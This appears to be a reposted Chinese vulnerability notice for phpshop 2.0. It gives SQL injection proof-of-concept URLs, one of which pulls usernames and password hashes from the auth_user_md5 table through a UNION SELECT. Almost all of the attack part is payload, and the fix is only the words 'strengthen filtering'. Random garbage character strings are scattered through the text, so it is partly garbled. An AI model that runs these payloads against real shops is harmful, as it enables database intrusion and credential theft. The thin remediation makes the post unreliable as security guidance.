phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
4 g# Q: J) B% E+ _3 I2 F8 }
  S' E# ?/ \8 d( y9 V* S. B作者 : By onestree
( Y/ `4 g" Z/ v下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

- e6 ~8 ~  V! Y  m9 j# S* Y) |
SQLi p0c:
/ L  Z1 _* b# U+ G, N( g
==================
& c* A+ c0 ?0 x5 \
0 |( ^& R# m* O9 }( G' p9 J, ahttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
$ Q3 n, }! M2 c) Z4 ~1 Eunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
; j$ l: E! z! f; l5 A0 O
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
' O7 \& Q0 Y9 P0 M; v
修复：
! H6 l8 w6 `  t4 b加强过滤
, x7 _) a9 Y; ^/ H/ n​

$ A" A( S3 e2 {. J$ D; x* Q